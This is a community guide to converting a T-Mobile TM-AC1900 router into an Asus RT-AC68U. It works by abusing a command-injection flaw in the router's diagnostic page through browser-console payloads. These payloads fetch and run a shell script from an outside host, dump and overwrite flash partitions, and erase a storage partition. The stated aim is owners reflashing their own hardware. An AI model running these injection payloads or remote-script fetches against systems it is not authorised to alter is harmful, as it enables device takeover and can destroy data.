
 

Forward 
These instructions are only intended for the purpose of being able to install legally licensed firmware on routers                  
you own. Do not use this guide as instructions for violating any patents or copyright laws. There are three versions                    
of these instructions: WEB Server Instructions , USB Instructions, and NO CFE USB Instructions. Which you use                 
depends on which is easiest for you. If setting up a web server is easy for you (or you already have one) use those                        
instructions. If you have USB stick handy and want to use that, use the USB instructions. If you do not have your                      
original CFE file, then you will need to use the NO CFE USB Instructions, or the WEB Server Instructions with the                     
steps from Appendix 1, or the USB Instructions with the steps from Appendix 6. 

If you are looking for the instructions for flashing a brand new T-Mobile router, try the direction from one of these                     
links: 

● https://lazymocha.com/blog/2018/04/16/flash-t-mobile-cellspot-tm-ac1900-to-asus-rt-ac68u-p/ 
● https://www.bayareatechpros.com/ac1900-to-ac68u/ 

 

Summary 
This became necessary because ssh and scp were removed from the TM-1900AC web UI. 

● Use an exploit on the lazy web interface to run commands that were previously run via ssh. 
● Use “wget” to download files off of a locally-hosted web server that you previously copied via scp. 

Set up a static web server on the host/system/PC/laptop that you’re using to browse the router’s web UI.  Fenix 
2.0.0 is very simple to use.  You don’t need any DNS server, DNS hosting, or internet access. 

Host the CFE, mtd-write, and FW_RT_AC68U_30043763626.trx files on the Fenix web server. Collect the files that                
you would normally scp between your host and the router. Store them in the right location so that Fenix hosts                    
them. We’ll use “wget” on the router later to obtain those files. (note: some instructions zip them up. I prefer to                     
host them individually.  It is only a few files.) 

Access the router web UI  “Network Tools” section on the TM-AC1900.  Use Chrome’s “inspect element” to 
change the behavior of the “Diagnose”button on the page currently shown in your browser.  

Select the “Console” tab in ‘inspect element’  We will be entering commands that will remap the “Diagnose” 
button to run your ssh commands.  The web interface only allows certain shell commands at the beginning of the 
command string but does not check it any further.  That is our exploit.  If you ever develop a web page, be sure to 
constrain your inputs on the server side.  

Create each command line in its entirety and submit it all at once.  Each command has four components: 

● “The usual beginning” Re-use the part up to and including the allowed ping command 
● “The return/newline”  Add an escaped newline “\n” so that it completes/executes ping with no arguments 
● “The command”  Add the command you really want to run (which was previously run via ssh) 
● “The usual ending” Re-use the rest of the original line to to make it syntactically correct and acceptable to 

the router web UI. 

Paste a command line in the ‘inspect element/console’ and execute it by clicking the “Diagnose” button on the 
web page.  

https://lazymocha.com/blog/2018/04/16/flash-t-mobile-cellspot-tm-ac1900-to-asus-rt-ac68u-p/
https://www.bayareatechpros.com/ac1900-to-ac68u/


 

Here’s what we used to do via scp.  Download files from the “web server.”  The web server is not specified using a 
resolved host name.  Simply use the IP address of the Fenix server - the same host you’re using to browse the 
router’s web UI. 

● Use “wget” download the “new CFE” file 
● Use “wget” to download the, “mtd-write” file 
● Use “wget” to download the “FW_RT_AC68U_30043763626.trx” file.  

Here’s what we used to do via ssh. 

● Do the usual  “chmod” to make mtd-write executable 
● Use mtd-write to write the new CFE, and  
● Use mtd-write2 to write the new system image 

The remainder of the instructions apply with one exception.  Whack that MD5 partition so that the TM-1900AC 
image doesn’t get crammed back in. 

Ideas: 

● Did Asus remove the ssh daemon?  If not, maybe it is easiest to just start it.  Two possible ways: 
● Remap the “Diagnose” button to start the daemon 
● Figure out what PUT/POST is used when someone uses the Web UI to enable ssh on a router that simply 

lacks that portion of the web interface. 

The Fenix web server is awesome for static hosting, but it cannot accept uploads. If someone needs to generate                   
the original CFE for the first time, consider adding instructions here on how that file can be exported from the                    
device.  They could use/mount a USB drive or install some FTP server. 

History 
● Steps compiled using instructions originally provided by user “docbill” from snb forums. 
● Slightly customised with advice from user “bobafuzz” from Whirlpool forums, and posts by multiple users in 

the following Whirlpool thread: https://forums.whirlpool.net.au/forum-replies.cfm?t=2693988 
● Shamelessly copied and revised from 003detsiwt ‘s April 15th, 2018 document. 
● Many community updates, as shown in the comments. 

WEB Server Instructions  
 

STEP 1:  You need a web server 

If you do not have one, this is what I did. 

Register a .com domain on GoDaddy – I registered something random for $1 for the first 12 months. It costs more                     
after the first year, but you can cancel the subscription immediately and the domain is yours for $1 for the next 12                      
months. 

Register for a free trial with a hosting provider. I chose HostGator.com and registered for a 30 day trial for 1 cent                      
US. Once registered, you will receive an email with account info – in particular, the link to log into the control                     
panel, your account password and details of the DNS nameservers. 

Once you receive the email from HostGator, long into your GoDaddy account and update the DNS nameservers as                  
per the email from HostGator. 

https://forums.whirlpool.net.au/forum-replies.cfm?t=2693988
https://whirlpool.net.au/user/63117


 

This ensures that your new domain (e.g. "mywebsite.com") points to the files hosted by HostGator. 

(NOTE: Other users have reported that they did not need a web server, and were able to use an internal server –                      
e.g. IIS server, another router as a server etc. However, I am not IT savvy enough and found the above method                     
easy enough) 

 

Alternative instructions using a local web server (thanks to Whirlpool forum member Christian_Haitian): 

Connect the router to your PC using instructions provided in Step 4 of the bay area tech pros guide:                   
http://www.bayareatechpros.com/ac1900-to-ac68u/  

For the web server, download fenix-windows-2.0.0.zip from https://github.com/coreybutler/fenix/releases onto         
the Windows PC used to restore the TM-AC1900 to RT-AC68U, and install choosing all the default options during                  
install. 

In windows explorer, go into C:\ drive and create a new folder (e.g. C:\asustemp). 

Launch the Fenix program, click on "Web Servers" then click "new" and type in Asus for the Descriptive Name,                   
c:\asustemp for the Directory, leave port number as 80, then click "create". Put the mouse cursor over the new                   
asus web server click on the play button. You can also just click on Web Servers and click Start All. If successfully                      
started, the red bar on the right of the web server will turn green. (Tip: I have an antivirus program installed called                      
avast. I had to temporarily disable it in order to get the web server to start. I suggest that during this web server                       
install and setup process that others disable their Antivirus to be sure that Port 80 is not blocked). 

Test the server by opening a web browser (Google Chrome), and type localhost in the url and press enter, it then                     
brought up a directory contents which had nothing in it. This is the expected result. 

Your web server IP address will be 192.168.29.5 – use this instead of “mywebsite.com” in the remainder of this                   
guide. 

Alternative instructions for recent Mac OS 

In a terminal window, enter “sudo apachectl start”; apache is already on the Mac by default. 

 STEP 2: Create a zip file containing the necessary files 

The files you need can be found on the Lazymocha Guide or the Bay Area Tech Pros Guide. 

● mtd-write 
● FW_RT_AC68U_30043763626.trx 
● new_cfe.bin (This is the file you would have created in Step 15 of the bay area tech pros guide. It should be 

CFE version 1.0.2.0 US AiMesh) 

Zip it all into a file, and call it something simple - like "files12345.zip" 

If you do not have a copy of your “new_cfe.bin” file, or your router already had the locked firmware when you                     
purchased it, then you have to modify the below process to downgrade your router first to firmware                 
TM-AC1900_3.0.0.4_376_1703-g0ffdbba.trx (i.e. Step 7 in the bay area tech pros guide). You will need a different                
.zip file and a different script.  Refer to Appendix 1 at the bottom of this guide. 

Step 3: Create a script which will execute the needed commands 

Download and install Notepad++ (32 bit version will do the job) and paste the below code in it. Then save the file                      
as a Unix file without an extension (in Notepad++ go to File > Save As > Save as type "All Files"), and call it                        
something simple – like “script12345.txt”. (making sure to include the quotation " " marks in the file name section                   
of Save As box or the file may not save correctly). 
 

set -x 

http://www.bayareatechpros.com/ac1900-to-ac68u/
https://github.com/coreybutler/fenix/releases
https://lazymocha.com/blog/2018/04/16/flash-t-mobile-cellspot-tm-ac1900-to-asus-rt-ac68u-p
http://www.bayareatechpros.com/ac1900-to-ac68u/


 

wget -nH http://mywebsite.com/files12345.zip 
unzip -o files12345.zip 
chmod 755 mtd-write 
./mtd-write new_cfe.bin boot 
mtd-write2 FW_RT_AC68U_30043763626.trx linux 

 

Replace “mywebsite.com” with the domain name you registered in Step 1 (or the IP address if you are using an                    
internal server) 

Step 4: The exploit explained and test command 

The basic premise is when you go to your router's Network Analysis page (log in to your router, Network Tools                    
menu on the left) there is an drop down to select one of three commands (Ping, Traceroute, Nslookup). Rather than                    
passing in the values you pick, Asus instead wrote the interface to pass in the shell command to run. 

The exploit lies in the fact that you can simply pass in every shell command you wanted to run by entering strings in                       
the Console section in your browser (in other words, open the Network Analysis page of your router in Google                   
Chrome, right click anywhere in the page and select "inspect element", and then click in the Console section.  

To test if it works, enter the following string in the console and hit enter. 

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;} 

Now press the Diagnose button, and you should see the output from the command "hello world". 

The restrictions they put in place though is you must have one of the commands at the start of the string (such as                       
ping), and you cannot use special characters such as /. That makes it tricky to use the exploit but not impossible. 

Step 5: Upload the script to your web server 

Log into your HostGator control panel, and open the File Manager. 

Once in the file manager, click on the public_html folder and upload your "script12345.txt" file in this folder. 

When uploaded, change the permission on the file to 0644 (right click and modify the permissions). 

(If using the Fenix web server, copy the "script12345.txt" file into C:\asustemp) 

Step 6: Run commands to download the script to your router 

Your router should be connected to the internet for this step. 

Most of these commands are just to change the /www folder from read only to read write. Until you do that a wget                       
command will fail. If you do not see the directories getting mounted correctly with tmpfs, you may have to repeat                    
the mount commands.  

Go back to the Network Analysis page of your router and paste each of the following commands in the Console                    
section: 

validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs 

userRpm";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;} 



 

Press enter, then click Diagnose button. If you see the message cp: recursion detected, omitting directory                
"./userRpm" you are on the right track. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return 

true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return 

true;} 

Press enter, then click Diagnose button. You may need to wait up to two minutes before the next command will                    
work. 

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd 
--no-check-certificate mywebsite.com";return true;} 

Replace “mywebsite.com” with the domain you registered in Step 1. 

Press enter, then click Diagnose button. If this command fails retry the previous command and then this one. The                   
index.html file downloaded will be automatically deleted, but you should see you script file downloaded and not                 
deleted. 

This last step should download the script to your router (should be able to see confirmation under the Diagnose                   
button). 

Step 7: Upload the zip file to your web server 

Log into your HostGator control panel, and open the File Manager. 

Once in the file manager, click on the public_html folder and upload your “files12345.zip” file into this folder. 

When uploaded, change the permission on the file to 0755 (right click and modify the permissions). 

(If using the Fenix web server, copy the files12345.zip file into C:\asustemp) 

Step 8: Run the script 

Go back to the Network Analysis page of your router and paste the following command in the Console section: 

validForm = function(){document.form.SystemCmd.value = "ping\n. script12345.txt";return true;} 

Press enter, then click Diagnose button. 

This should run the script that you downloaded earlier. 

The script downloads the zip file to your router, extracts all the files and flashes the new cfe and firmware. 

Wait a few minutes, and reset NVRAM (turn off router, press and hold WPS button and turn on router while holding                     
the WPS button for another 20 seconds. Once the white LED at the back starts flashing, release the WPS button                    
and wait a few minutes for the router to reboot. 

The new IP address of the router will be 192.168.1.1 revealing it is now an ASUS device (192.168.29.1 is the T                     
Mobile  IP address). 

You may now proceed to Appendix 2 for optional instructions. 

 



 

USB Instructions 
This has been recently updated and FIXED Aug 20-21  (No more SSL error)  

The router must be connected to the internet for this to work. If you do not wish to connect your router to the                       
internet, you will need to install the u.txt script on a local web server instead, in which case you might as well use                       
the web server instructions. 

STEP 1:  You need a USB stick 

Set the disk label for the USB to be “USB”. 

STEP 2: Create a zip file containing the necessary files 

Two of the three files you need can be obtained from the Lazymocha Guide or the Bay Area Tech Pros Guide. 

● mtd-write 
● FW_RT_AC68U_30043763626.trx 

 
The third file is created at step 15 of the guide at https://www.bayareatechpros.com/ac1900-to-ac68u/ 
 

● new_cfe.bin 
 
If unable to create new_cfe.bin as detailed in the guide or your router already had the locked firmware when you                    
bought it, use NO CFE USB Instructions or the more complicated instructions in Appendix 6. 

Add the three files into a zip archive, and call it something simple - like “files12345.zip” 

 Step 3: The exploit explained and test command 

The basic premise is when you go to your router's Network Analysis page (log in to your router, Network Tools                    
menu on the left) there is an drop down to select one of three commands (Ping, Traceroute, Nslookup). Rather than                    
passing in the values you pick, Asus instead wrote the interface to pass in the shell command to run. 

The exploit lies in the fact that you can simply pass in every shell command you wanted to run by entering strings in                       
the Console section in your browser (in other words, open the Network Analysis page of your router in Google                   
Chrome, right click anywhere in the page and select "inspect", and then click in the Console section.  

To test if it works, enter the following string in the console and hit enter. 

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;} 

Now press the Diagnose button, and you should see the output from the command "hello world". 

The restrictions they put in place though is you must have one of the commands at the start of the string (such as                       
ping), and you cannot use special characters such as /. That makes it tricky to use the exploit but not impossible. 

Step 4: Install the USB 

Insert your USB stick into the router and check that it is loaded as “USB”. 

Step 5: Run commands to download the script to your router 

Your router should be connected to the internet for this step. 

Most of these commands are just to change the /www folder from read only to read write. Until you do that a wget                       
command will fail. If you do not see the directories getting mounted correctly with tmpfs, you may have to repeat                    
the mount commands.  

https://lazymocha.com/blog/2018/04/16/flash-t-mobile-cellspot-tm-ac1900-to-asus-rt-ac68u-p
http://www.bayareatechpros.com/ac1900-to-ac68u/


 

Go back to the Network Analysis page of your router and paste each of the following commands in the Console 
section: 

validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs 

userRpm";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;} 

Press enter, then click Diagnose button.  If you see the message cp: recursion detected, omitting directory 
"./userRpm" you are on the right track. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return 

true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return 

true;} 

Press enter, then click Diagnose button. You may need to wait up to two minutes before the next command will                    
work. 

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd 

docbill.freeshell.org";return true;} 

Press enter, then click Diagnose button. If the wget command fails retry the restart_httpd command and then this                  
one. The index.html file downloaded will be automatically deleted, but you should see a u.txt file downloaded and                  
not deleted. 

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + 

encodeURIComponent("find /tmp/mnt -name files12345.zip").replace(/%/g,"..");return true;} 

Press enter, then click Diagnose button.  This should tell you where the file is mounted.  The name is probably 
"/tmp/mnt/USB/files12345.zip". 

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + 

encodeURIComponent("unzip -o /tmp/mnt/USB/files12345.zip").replace(/%/g,"..");return true;} 

Press enter, then click Diagnose button. If your disk is mounted by a name other than /tmp/mnt/USB, change the                   
command appropriately. 

validForm = function(){document.form.SystemCmd.value = "ping\nchmod 755 mtd-write";return 

true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + 

encodeURIComponent("./mtd-write new_cfe.bin boot").replace(/%/g,"..");return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nmtd-write2 

FW_RT_AC68U_30043763626.trx linux";return true;} 



 

Press enter, then click Diagnose button. If this command fails, you can still use the miniCFE at this point as a result                      
of the previous command. 

Wait a few minutes, and reset NVRAM (turn off router, press and hold WPS button and turn on router while holding                     
the WPS button for another 20 seconds. Once the white LED at the back starts flashing, release the WPS button                    
and wait a few minutes for the router to reboot. 

The new IP address of the router will be 192.168.1.1 revealing it is now an ASUS device (192.168.29.1 is the T                     
Mobile  IP address). 

You may now proceed to Appendix 2 for optional instructions. 

  



 

NO CFE USB Instructions 
This has been recently updated and FIXED Aug 20-21  (No more SSL error)  

The router must be connected to the internet for this to work. 

STEP 1:  You need a USB stick 

Set the disk label for the USB to be “USB”. 

STEP 2: Copy the firmware file to USB 

The file you need can be found in the on the Lazymocha Guide or the Bay Area Tech Pros Guide. 

● TM-AC1900_3.0.0.4_376_1703-g0ffdbba.trx 
 

Just copy this file to your USB stick with the file name like firmware1703.trx. (You will want to shorten the name                     
because the string length of commands is limited.) 

Step 3: The exploit explained and test command 

The basic premise is when you go to your router's Network Analysis page (log in to your router, Network Tools                    
menu on the left) there is a drop down selection with three commands (Ping, Traceroute, Nslookup). Rather than                  
passing in the values you pick, Asus instead wrote the interface to pass in the shell command to run. 

The exploit lies in the fact that you can simply pass in every shell command you wanted to run by entering strings in                       
the Console section in your browser (in other words, open the Network Tools > Network Analysis page of your                   
router in Google Chrome, right click anywhere in the page and select "inspect", and then click in the Console                   
section.  

To test if it works, enter the following string in the console and hit enter. 

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;} 

Now press the Diagnose button, and you should see the output from the command "hello world". 

The restrictions they put in place though is you must have one of the commands at the start of the string (such as                       
ping), and you cannot use special characters such as /. That makes it tricky to use the exploit but not impossible. 

Step 4: Install the USB 

Insert your USB stick into the router and check that it is loaded as “USB”. 

Step 5: Run commands to download the script to your router 

Your router should be connected to the internet for this step. 

Most of these commands are just to change the /www folder from read only to read write. Until you do that a wget                       
command will fail. If you do not see the directories getting mounted correctly with tmpfs, you may have to repeat                    
the mount commands.  

Go back to the Network Analysis page of your router and paste each of the following commands in the Console                    
section: 

validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs 

userRpm";return true;} 

Press enter, then click Diagnose button. 

https://lazymocha.com/blog/2018/04/16/flash-t-mobile-cellspot-tm-ac1900-to-asus-rt-ac68u-p
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validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;} 

Press enter, then click Diagnose button. If you see the message cp: recursion detected, omitting directory                
"./userRpm" you are on the right track. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return 

true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return 

true;} 

Press enter, then click Diagnose button. You may need to wait up to two minutes before the next command will                    
work. 

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd 

docbill.freeshell.org";return true;} 

Press enter, then click Diagnose button. If this command fails retry the previous command and then this one. The                   
index.html file downloaded will be automatically deleted, but you should see a u.txt file downloaded and not                 
deleted. 

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + 

encodeURIComponent("find /tmp/mnt  -name firmware1703.trx" ).replace(/%/g,"..");return true;} 

Press enter, then click Diagnose button. This should tell you where the file is mounted. The name is probably                   
"/tmp/mnt/USB/firmware1703.trx”. 

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + 

encodeURIComponent("mtd-write2 /tmp/mnt/USB/firmware1703.trx linux").replace(/%/g,"..");return 

true;} 

Press enter, then click Diagnose button. If this command fails you’ll need to follow the diagnostics steps in appendix                   
5 to discover why. The previous comment about being able to install the firmware is not relevant to the NO CFE                     
instructions. 

Wait a few minutes, and reset NVRAM (turn off router, press and hold WPS button and turn on router while holding                     
the WPS button for another 20 seconds. Once the white LED at the back starts flashing, release the WPS button                    
and wait a few minutes for the router to reboot. 

Connect the router to your PC using instructions provided in Step 9 of the Lazymoca Guide or the Bay Area Tech                     
Pros Guide and continue the instructions from there. 

You may now proceed to Appendix 2 for optional instructions. 
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Appendix 1:  “new_cfe.bin” alternative 
For those who do not have a "new_cfe.bin" file 

● The .zip file: 
o Instead of the above Step 2, your .zip file needs to contain the following file: 

▪ TM-AC1900_3.0.0.4_376_1703-g0ffdbba.trx 

 
● The script for Web Server instructions: 

o Instead of the above Step 3, your script needs to contain the following code: 

set -x 

wget -nH http://mywebsite.com/files12345.zip 

unzip -o files12345.zip 

mtd-write2 TM-AC1900_3.0.0.4_376_1703-g0ffdbba.trx linux 

 
You still need to complete all of the steps in this guide up to Step 8. 

 
Once your router is running the downgraded TM firmware (TM-AC1900_3.0.0.4_376_1703-g0ffdbba.trx) go back to             
the bay area tech pros guide and continue from Step 8. 

 
Optionally after completing the bay area tech pros guide, return to this to perform the steps in Appendix 2. 

 

Appendix 2: Erase mtd 
To help protect you from rolling back to T-Mobile Firmware, when  updating to newer ASUS firmware, you will want 
to erase the mtd. 

To start, enable SSH on the router (Go to Administration > System > Enable SSH > Yes > Apply) 

If you want to make sure your router does not get reverted again, putty into the router and issue the following                     
commands: 

cat /dev/mtd5 > /jffs/mtd5_backup.bin 

mkdir /tmp/asus_jffs 

mount -t jffs2 /dev/mtdblock5 /tmp/asus_jffs 

rm -rf /tmp/asus_jffs/* 

sync && umount /tmp/asus_jffs 

ln -s /sbin/rc mtd-erase 

./mtd-erase -d asus 

rm -rf /jffs/.sys/RT-AC68U 

nvram unset fw_check && nvram commit && reboot 

 
The router will reboot, wait for the usual ~5 minutes.  
 
You may wish to backup the /jffs/mtd5_backup.bin file, should you need to restore from a mis-typed command or                  
such. Either use scp to move the file off the computer, or copy it to USB. Merlin has an option to save the JFFS                        
partition in the save/restore section of the router. 
 
These steps deleted the TMobile certificates on the router, and will let you update to newer firmware.  

@56258946 st1ngy writes... 
I was chatting with a SNB user who checked his real rt-ac68u and his mtd5 was all 'ff's. IIRC, others checked 
their ac1900 based ASUS models and corroborated. 



 

 
You are now safe to do a manual firmware upgrade to the Merlin AsusWRT firmware (https://asuswrt.lostrealm.ca/                
), or the latest Asus firmware (https://www.asus.com/us/Networking/RTAC68U/HelpDesk_Download/). You can         
use the router’s web interface at 192.168.1.1 to do this without any issues. However, be aware future versions of                   
the either firmware may use some other difference to tell it is not an AC68U router. There is no guarantee                    
firmware updates will not brick the router next time. 

Appendix 3:  Protecting With Your DNS 
To really protect yourself from rollbacks,  you will want to block the websites:  dlcdnet.asus.com and 
nw-dlcdnet.asus.com .  

The easiest way to block websites is to use opendns.  

1. If you do not already have an account go to https://www.opendns.com/ and create one. Once created, in                 
settings for your network you can block these two domains. You will need to add your home network WAN                   
IP as a network, and then go into settings for that network and select always block then enter the Asus                    
domain names. 

2. In you router, WAN->Internet, uncheck the connect to DNS Service Automatically, and assign the values               
208.67.222.222 and 208.67.220.220 .  Do not forget to apply and save. 

3. If you use IPV6, set your IPV6 DNS Servers to ::ffff:d043:dedc and ::ffff:d043:dede 
4. Now go to www.dnsomatic.com and create an account with the same login and password as opendns. 
5. Add the service opendns. 
6. In your router WAN->DDNS add www.dnsomatic.com with a hostname of all.dnsomatic.com and your login. 

You have now blocked your router from downloading the firmware with existing URL’s. Can ASUS hack around this                  
in a update? Sure, they could do hard coded IP addresses, hard coded DNS addresses, or change the hostnames of                    
their firmware server. You are really only protecting yourself from there current counter-measures. So it is still                 
best to avoid future ASUS firmware updates. 

Appendix 4:  Script:  
For reference, this is a script name “u.txt” to do partial URL decode, where .. is used instead of % and then execute                       
the results ( http://docbill.freeshell.org/u.txt ) : 

sh -x -c "`echo "$*"|sed -e 's,[.][.]\([0-9A-F][0-9A-F]\),%\1,g' -e 's,%20, ,g' -e 's,%23,#,g' 

-e 's,%24,$,g' -e 's,%2F,/,g' -e 's,%3A,:,g' -e 's,%3B,;,g' -e 's,%3C,<,g' -e 's,%3D,=,g' -e 

's,%3E,>,g' -e 's,%5F,_,g' -e 's,%25,%,g' `" 

 

 

Appendix 5:  Useful Diagnoses Calls 
You can send unix commands to the router to find out exactly what is going wrong when things do not work. Here                      
are some of the more useful commands you can send to the diagnostic console:  

● mount  

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;} 

https://asuswrt.lostrealm.ca/
https://www.asus.com/us/Networking/RTAC68U/HelpDesk_Download/
https://www.opendns.com/
http://www.dnsomatic.com/
http://www.dsomatic.com/
http://docbill.freeshell.org/u.txt


 

Press enter, then click Diagnose button. 

The output of this command tells you exactly what is mounted. Your goal is to get /www mounted on                   
tmpfs, and if you have a USB device to see that mounted as well. 

● ls 

validForm = function(){document.form.SystemCmd.value = "ping\nls -la";return true;} 

Press enter, then click Diagnose button. 

The output of this command tells you exactly what is in the /www folder, so you can see if you wget                     
downloaded your script file, and if unzip extracted your files. 

● find 

validForm = function(){document.form.SystemCmd.value = "ping\nfind ..";return true;} 

Press enter, then click Diagnose button. 

This will give a very long list of every single file on the router. 

● touch 

validForm = function(){document.form.SystemCmd.value = "ping\ntouch foo";return true;} 

Press enter, then click Diagnose button. 

This command will return an error if your /www folder is not read-write, or your the service restart_httpd                  
call did not really restart the router’s web server. 

● cat 

validForm = function(){document.form.SystemCmd.value = "ping\ncat script12345.txt";return 

true;} 

Press enter, then click Diagnose button. 

This command will show the respective file, so you can verify it is what you expect. 

 

Appendix 6:  Generating a Replacement CFE 
The main reason the recommended approach when you do not have the new_cfe.bin file is to install the version of                    
the T-Mobile firmware, is because it is the simplest approach. Many users are struggling just with the step by step                    
instructions. But for more advanced users, you can generate the CFE file without flashing the firmware simply by                  
writing the existing CFE to USB and update it using instructions provided in Step 15 of the Bay Area Tech Pros Guide                      
.   or the Lazymoca Guide . 
 
This is not complicated… Follow the USB Instructions without the new_cfe.bin file in the zip file. After you                  
execute step to get the “u.txt” script: 

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd 

docbill.freeshell.org";return true;} 

Press enter, then click Diagnose button. 

Follow-up with the following commands: 

https://www.bayareatechpros.com/ac1900-to-ac68u/
https://lazymocha.com/blog/2018/04/16/flash-t-mobile-cellspot-tm-ac1900-to-asus-rt-ac68u-p/


 

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt "+encodeURIComponent("cat 

/dev/mtd0 > /tmp/mnt/USB/original_cfe.bin").replace(/%/g,"..");return true;} 

Press enter, then click Diagnose button. 

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt 

"+encodeURIComponent("umount  /tmp/mnt/USB").replace(/%/g,"..");return true;} 

Press enter, then click Diagnose button. 

Now you can remove the USB drive, and follow the bay area tech instructions step 15 for creating new_cfe.bin and                    
add it to your zip file.  Insert the USB and proceed with the USB Instructions where you left off. 


